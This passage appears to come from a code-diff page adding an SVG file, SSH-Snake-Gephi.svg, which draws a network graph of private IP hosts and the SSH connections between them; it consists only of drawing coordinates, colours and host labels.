<path d="M 115.08187866210938 -15.617770195007324 L 190.08187866210938 -15.617770195007324 L 190.08187866210938 19.382229804992676 L 115.08187866210938 19.382229804992676 L 115.08187866210938 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 826.1775087658647, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.162.69.9</text>
</g> <!-- transform -->
</g> <!-- default stroke -->
</svg> <!-- bounding box -->

After

Width:  |  Height:  |  Size: 90 KiB

768
tools/SSH-Snake-Gephi.svg Normal file
View File

@ -0,0 +1,768 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg contentScriptType="text/ecmascript" width="2180.2944"
xmlns:xlink="http://www.w3.org/1999/xlink" zoomAndPan="magnify"
contentStyleType="text/css"
viewBox="-1164.000000 -658.000000 2180.294434 1476.000000" height="1476.0"
preserveAspectRatio="xMidYMid meet" xmlns="http://www.w3.org/2000/svg"
version="1.1">
<g id="edges">
<path fill="none" stroke-width="2.0"
d="M -912.969482,-437.985809 L -1015.838867,-522.677551"
class="id_10.37.244.247 id_10.55.160.79" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -859.366089,-404.068451 L -37.105820,-17.449495"
class="id_10.37.244.247 id_10.144.39.76" stroke-opacity="1.0"
stroke="#3fb17d"/>
<path fill="none" stroke-width="2.0"
d="M -892.279968,-449.383942 L -910.226379,-592.119263"
class="id_10.37.244.247 id_10.69.109.142" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -919.999634,-421.715149 L -1098.211182,-444.454681"
class="id_10.37.244.247 id_10.113.209.84" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -858.887939,-430.202942 L -787.476318,-460.641968"
class="id_10.37.244.247 id_10.70.22.254" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -912.150635,-396.397247 L -961.459229,-352.433380"
class="id_10.37.244.247 id_10.250.138.59" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -875.891052,-447.129852 L -823.219177,-572.256104"
class="id_10.37.244.247 id_10.69.109.1423" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -893.783264,-386.180206 L -916.457764,-256.146301"
class="id_10.37.244.247 id_10.22.93.103" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -871.531067,-390.452209 L -831.380981,-325.256287"
class="id_10.37.244.247 id_10.233.85.112" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -902.092529,-446.501129 L -918.236877,-480.230621"
class="id_10.37.244.247 id_10.58.74.24" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -918.135559,-406.219360 L -1066.556885,-349.274231"
class="id_10.37.244.247 id_10.128.212.227" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -29.925459,18.151556 L -167.407059,101.567322"
class="id_10.144.39.76 id_10.118.101.183" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -23.859507,-25.613398 L -187.325195,-201.087463"
class="id_10.144.39.76 id_10.202.224.40" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -34.793209,3.818572 L -360.840515,39.641632"
class="id_10.144.39.76 id_10.133.169.10" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -9.704267,-33.632416 L -76.885841,-266.500488"
class="id_10.144.39.76 id_10.218.254.25" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 25.694565,-23.766424 L 101.073196,-93.470184"
class="id_10.144.39.76 id_10.240.60.82" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -12.910931,32.528763 L -113.043243,284.889984"
class="id_10.144.39.76 id_10.184.80.138" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 27.595112,-21.529890 L 246.075729,-191.943192"
class="id_10.144.39.76 id_10.186.116.235" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 14.871363,-31.686172 L 128.255524,-273.200562"
class="id_10.144.39.76 id_10.86.156.205" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 6.946230,34.299366 L 37.724777,186.240051"
class="id_10.144.39.76 id_10.162.69.9" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 34.997421,-0.028696 L 299.881683,-0.216344"
class="id_10.144.39.76 id_10.125.149.108" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -20.152706,-28.621584 L -96.339890,-136.824356"
class="id_10.144.39.76 id_10.157.253.42" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 33.045601,-11.528593 L 256.542877,-89.467468"
class="id_10.144.39.76 id_10.97.53.32" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -33.800644,-9.097311 L -148.909378,-40.067444"
class="id_10.144.39.76 id_10.174.159.88" stroke-opacity="1.0"
stroke="#3fb17d"/>
<path fill="none" stroke-width="2.0"
d="M 4.514752,34.703358 L 59.019096,453.468719"
class="id_10.144.39.76 id_10.35.238.234" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -18.182711,29.903997 L -107.619461,177.035126"
class="id_10.144.39.76 id_10.21.187.33" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 34.954319,-1.740626 L 153.321793,-7.621346"
class="id_10.144.39.76 id_10.181.108.77" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -26.969805,22.306816 L -297.745728,246.326950"
class="id_10.144.39.76 id_10.68.193.47" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -33.786499,-9.149726 L -275.182495,-74.499298"
class="id_10.144.39.76 id_10.126.52.27" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 20.262844,28.532272 L 93.077118,131.063660"
class="id_10.144.39.76 id_10.35.183.112" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 9.247681,33.751583 L 166.616577,608.013428"
class="id_10.144.39.76 id_10.159.82.135" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 16.550085,30.834547 L 188.363754,350.932343"
class="id_10.144.39.76 id_10.197.194.62" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -10.539809,-33.380039 L -115.267296,-365.098602"
class="id_10.144.39.76 id_10.168.73.201" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 17.914200,-30.070318 L 110.112022,-184.788986"
class="id_10.144.39.76 id_10.89.231.140" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 30.550713,17.069393 L 207.211456,115.788116"
class="id_10.144.39.76 id_10.253.25.71" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -0.002566,-0.003901 C 69.997437,-70.003899 69.997437,69.996101 -0.002566,-0.003901"
class="id_10.144.39.76" stroke-opacity="1.0" stroke="#3fb17d"/>
<path fill="none" stroke-width="2.0"
d="M -31.676073,-14.896484 L -853.936340,-401.515442"
class="id_10.144.39.76 id_10.37.244.247" stroke-opacity="1.0"
stroke="#3fb17d"/>
<path fill="none" stroke-width="2.0"
d="M 2.369656,-34.923420 L 20.438126,-300.894440"
class="id_10.144.39.76 id_10.85.31.233" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 11.223092,-33.154842 L 50.812134,-150.066833"
class="id_10.144.39.76 id_10.94.104.59" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 877.418152,-462.193939 L 860.669128,-453.753052"
class="id_10.62.163.4 id_10.61.80.228" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 801.734619,-423.266937 L 695.957581,-366.839447"
class="id_10.61.80.228 id_10.86.123.195" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M -154.703339,-41.626312 L -39.594601,-10.656181"
class="id_10.174.159.88 id_10.144.39.76" stroke-opacity="1.0"
stroke="#3fb17d"/>
<path fill="none" stroke-width="2.0"
d="M 158.538300,669.180908 L 95.676567,758.551147"
class="id_10.159.82.135 id_10.68.62.211" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 204.454956,657.151550 L 276.200684,691.398438"
class="id_10.159.82.135 id_10.185.110.197" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 158.105713,618.662292 L 84.878174,518.254028"
class="id_10.159.82.135 id_10.35.238.234" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 176.414291,643.766663 C 238.557144,581.623779 238.557144,705.909546 176.414291,643.766663"
class="id_10.159.82.135" stroke-opacity="1.0" stroke="#3fb17d"/>
<path fill="none" stroke-width="2.0"
d="M 181.796478,674.368408 L 195.284607,751.058350"
class="id_10.159.82.135 id_10.199.123.242" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 179.841156,612.884766 L 201.418915,418.432251"
class="id_10.159.82.135 id_10.197.194.62" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 637.336548,-335.745758 L 36.272038,-19.112883"
class="id_10.86.123.195 id_10.144.39.76" stroke-opacity="1.0"
stroke="#ee7993"/>
<path fill="none" stroke-width="2.0"
d="M 952.074768,-498.519653 L 937.025024,-491.344757"
class="id_joshua@10.71.99.80 id_10.62.163.4" stroke-opacity="1.0"
stroke="#ee7993"/>
</g>
<g id="arrows">
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.37.244.247 id_10.55.160.79"
points="-1020.471008,-526.491150 -1013.932068,-524.993591 -1017.745667,-520.361511"
stroke="none"/>
<polyline fill="#3fb17d" fill-opacity="1.0"
class="id_10.37.244.247 id_10.144.39.76"
points="-31.676073,-14.896483 -38.382328,-14.734623 -35.829311,-20.164368"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.37.244.247 id_10.69.109.142"
points="-910.974854,-598.072388 -907.249817,-592.493530 -913.202942,-591.744995"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.37.244.247 id_10.113.209.84"
points="-1104.162964,-445.214111 -1097.831421,-447.430542 -1098.590942,-441.478821"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.37.244.247 id_10.70.22.254"
points="-781.956848,-462.994659 -786.299988,-457.882202 -788.652649,-463.401733"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.37.244.247 id_10.250.138.59"
points="-965.937683,-348.440399 -963.455688,-354.672577 -959.462769,-350.194183"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.37.244.247 id_10.69.109.1423"
points="-820.891296,-577.786133 -820.454163,-571.092163 -825.984192,-573.420044"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.37.244.247 id_10.22.93.103"
points="-917.488464,-250.235474 -919.413147,-256.661652 -913.502380,-255.630951"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.37.244.247 id_10.233.85.112"
points="-828.234741,-320.147369 -833.935425,-323.683167 -828.826538,-326.829407"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.37.244.247 id_10.58.74.24"
points="-920.827271,-485.642639 -915.530884,-481.525818 -920.942871,-478.935425"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.37.244.247 id_10.128.212.227"
points="-1072.158813,-347.124939 -1067.631470,-352.075165 -1065.482300,-346.473297"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.118.101.183"
points="-172.536697,104.679688 -168.963242,99.002502 -165.850876,104.132141"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.202.224.40"
points="-191.414963,-205.477661 -185.130096,-203.132339 -189.520294,-199.042587"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.133.169.10"
points="-366.804626,40.296913 -361.168152,36.659576 -360.512878,42.623688"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.218.254.25"
points="-78.548988,-272.265381 -74.003395,-267.332062 -79.768288,-265.668915"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.240.60.82"
points="105.478416,-97.543762 103.109985,-91.267570 99.036407,-95.672798"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.184.80.138"
points="-115.256104,290.467010 -115.831757,283.783539 -110.254730,285.996429"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.186.116.235"
points="250.806763,-195.633362 247.920807,-189.577682 244.230652,-194.308701"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.86.156.205"
points="130.805344,-278.631805 130.971146,-271.925659 125.539902,-274.475464"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.162.69.9"
points="38.916000,192.120605 34.784496,186.835663 40.665058,185.644440"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.125.149.108"
points="305.881683,-0.220594 299.883820,2.783655 299.879547,-3.216343"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.157.253.42"
points="-99.794205,-141.730240 -93.886948,-138.551514 -98.792831,-135.097198"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.97.53.32"
points="262.208282,-91.443130 257.530701,-86.634766 255.555054,-92.300171"
stroke="none"/>
<polyline fill="#3fb17d" fill-opacity="1.0"
class="id_10.144.39.76 id_10.174.159.88"
points="-154.703339,-41.626312 -148.129944,-42.964420 -149.688812,-37.170467"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.35.238.234"
points="59.793495,459.418518 56.044189,453.855927 61.994003,453.081512"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.21.187.33"
points="-110.736053,182.162186 -110.182999,175.476822 -105.055923,178.593430"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.181.108.77"
points="159.314407,-7.919070 153.470657,-4.625041 153.172928,-10.617651"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.68.193.47"
points="-302.368683,250.151642 -299.658081,244.015472 -295.833374,248.638428"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.126.52.27"
points="-280.974030,-76.067154 -274.398560,-77.395065 -275.966431,-71.603531"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.35.183.112"
points="96.551186,135.955566 90.631157,132.800690 95.523079,129.326630"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.159.82.135"
points="168.202332,613.800049 163.723251,608.806335 169.509903,607.220520"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.197.194.62"
points="191.201355,356.218933 185.720459,352.351135 191.007050,349.513550"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.168.73.201"
points="-117.073685,-370.820221 -112.406487,-366.001801 -118.128105,-364.195404"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.89.231.140"
points="113.183472,-189.943237 112.689140,-183.253265 107.534904,-186.324707"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.253.25.71"
points="212.449158,118.714966 205.748032,118.406967 208.674881,113.169266"
stroke="none"/>
<polyline fill="#3fb17d" fill-opacity="1.0"
class="id_10.144.39.76 id_10.37.244.247"
points="-859.366089,-404.068451 -852.659851,-404.230316 -855.212830,-398.800568"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.85.31.233"
points="20.844793,-306.880615 23.431227,-300.691101 17.445024,-301.097778"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.144.39.76 id_10.94.104.59"
points="52.736534,-155.749847 53.653641,-149.104630 47.970627,-151.029037"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.62.163.4 id_10.61.80.228"
points="855.311096,-451.052826 859.319031,-456.432068 862.019226,-451.074036"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.61.80.228 id_10.86.123.195"
points="690.663696,-364.015411 694.545532,-369.486359 697.369629,-364.192535"
stroke="none"/>
<polyline fill="#3fb17d" fill-opacity="1.0"
class="id_10.174.159.88 id_10.144.39.76"
points="-33.800644,-9.097311 -40.374035,-7.759203 -38.815166,-13.553160"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.159.82.135 id_10.68.62.211"
points="92.224655,763.458740 93.222778,756.825195 98.130356,760.277100"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.159.82.135 id_10.185.110.197"
points="281.615417,693.983093 274.908356,694.105835 277.493011,688.691040"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.159.82.135 id_10.35.238.234"
points="81.342728,513.406311 87.302048,516.486328 82.454300,520.021729"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.159.82.135 id_10.199.123.242"
points="196.323929,756.967651 192.329956,751.578003 198.239258,750.538696"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.159.82.135 id_10.197.194.62"
points="202.080658,412.468872 204.400620,418.763123 198.437210,418.101379"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_10.86.123.195 id_10.144.39.76"
points="30.963560,-16.316446 34.873817,-21.767122 37.670258,-16.458643"
stroke="none"/>
<polyline fill="#ee7993" fill-opacity="1.0"
class="id_joshua@10.71.99.80 id_10.62.163.4"
points="931.609009,-488.762695 935.734009,-494.052765 938.316040,-488.636749"
stroke="none"/>
</g>
<g id="nodes">
<circle fill-opacity="1.0" fill="#ee7993" r="30.964285" cx="-888.2924"
class="id_10.37.244.247" cy="-417.66934" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-1043.6316"
class="id_10.55.160.79" cy="-545.5591" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#3fb17d" r="34.0" cx="-0.0025655753"
class="id_10.144.39.76" cy="-0.0039011668" stroke="#2c7b57"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-198.18489"
class="id_10.118.101.183" cy="120.2415" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.178572" cx="904.36786"
class="id_10.62.163.4" cy="-475.77557" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.178572" cx="828.3614"
class="id_10.61.80.228" cy="-437.4712" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-211.86377"
class="id_10.202.224.40" cy="-227.42867" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-396.62518"
class="id_10.133.169.10" cy="43.57332" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-86.86473"
class="id_10.218.254.25" cy="-301.0898" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="127.504524"
class="id_10.240.60.82" cy="-117.911644" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-126.32042"
class="id_10.184.80.138" cy="318.35214" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-914.71735"
class="id_10.69.109.142" cy="-627.838" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="274.4619"
class="id_10.186.116.235" cy="-214.08421" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-1133.9216"
class="id_10.113.209.84" cy="-449.0113" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.178572" cx="-183.84555"
class="id_10.174.159.88" cy="-49.46706" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="143.55443"
class="id_10.86.156.205" cy="-305.78802" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-754.3593"
class="id_10.70.22.254" cy="-474.75803" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="44.872112"
class="id_10.162.69.9" cy="221.5234" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="335.88168"
class="id_10.125.149.108" cy="-0.24184658" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-117.06575"
class="id_10.157.253.42" cy="-166.25969" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-988.3297"
class="id_10.250.138.59" cy="-328.47552" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-809.252"
class="id_10.69.109.1423" cy="-605.4362" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#3fb17d" r="30.071428" cx="176.41429"
class="id_10.159.82.135" cy="643.76666" stroke="#2c7b57"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="74.96507"
class="id_10.68.62.211" cy="787.9966" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="290.53528"
class="id_10.97.53.32" cy="-101.321434" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="63.66548"
class="id_10.35.238.234" cy="489.1676" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-922.6419"
class="id_10.22.93.103" cy="-220.68143" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-126.31904"
class="id_10.21.187.33" cy="207.79753" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-812.5034"
class="id_10.233.85.112" cy="-294.60278" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="189.27745"
class="id_10.181.108.77" cy="-9.407691" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-325.48346"
class="id_10.68.193.47" cy="269.27512" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-309.93167"
class="id_10.126.52.27" cy="-83.90643" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="113.92154"
class="id_10.35.183.112" cy="160.41515" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-933.77936"
class="id_10.58.74.24" cy="-512.70264" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-1100.168"
class="id_10.128.212.227" cy="-336.3786" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.178572" cx="664.0369"
class="id_10.86.123.195" cy="-349.81116" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="308.68918"
class="id_10.185.110.197" cy="706.90643" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="205.38934"
class="id_10.197.194.62" cy="382.6519" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="-126.105606"
class="id_10.168.73.201" cy="-399.42834" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="128.5407"
class="id_10.89.231.140" cy="-215.71445" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="238.63768"
class="id_10.253.25.71" cy="133.34921" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="201.52052"
class="id_10.199.123.242" cy="786.51416" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="22.878126"
class="id_10.85.31.233" cy="-336.81165" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#ee7993" r="29.0" cx="62.358524"
class="id_10.94.104.59" cy="-184.16493" stroke="#a65466"
stroke-opacity="1.0" stroke-width="2.0"/>
<circle fill-opacity="1.0" fill="#c0c0c0" r="29.178572" cx="979.3159"
class="id_joshua@10.71.99.80" cy="-511.50677" stroke="#868686"
stroke-opacity="1.0" stroke-width="2.0"/>
</g>
<g id="node-labels">
<text font-size="8" x="-888.2924" y="-416.20645" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.37.244.247">
10.37.244.247
</text>
<text font-size="8" x="-1043.6316" y="-544.09717" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.55.160.79">
10.55.160.79
</text>
<text font-size="8" x="-0.0025655753" y="1.4589895" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.144.39.76">
10.144.39.76
</text>
<text font-size="8" x="-198.18489" y="121.70439" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.118.101.183">
10.118.101.183
</text>
<text font-size="8" x="904.36786" y="-474.31268" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.62.163.4">
10.62.163.4
</text>
<text font-size="8" x="828.3614" y="-436.00928" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.61.80.228">
10.61.80.228
</text>
<text font-size="8" x="-211.86377" y="-225.96675" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.202.224.40">
10.202.224.40
</text>
<text font-size="8" x="-396.62518" y="45.03621" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.133.169.10">
10.133.169.10
</text>
<text font-size="8" x="-86.86473" y="-299.6279" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.218.254.25">
10.218.254.25
</text>
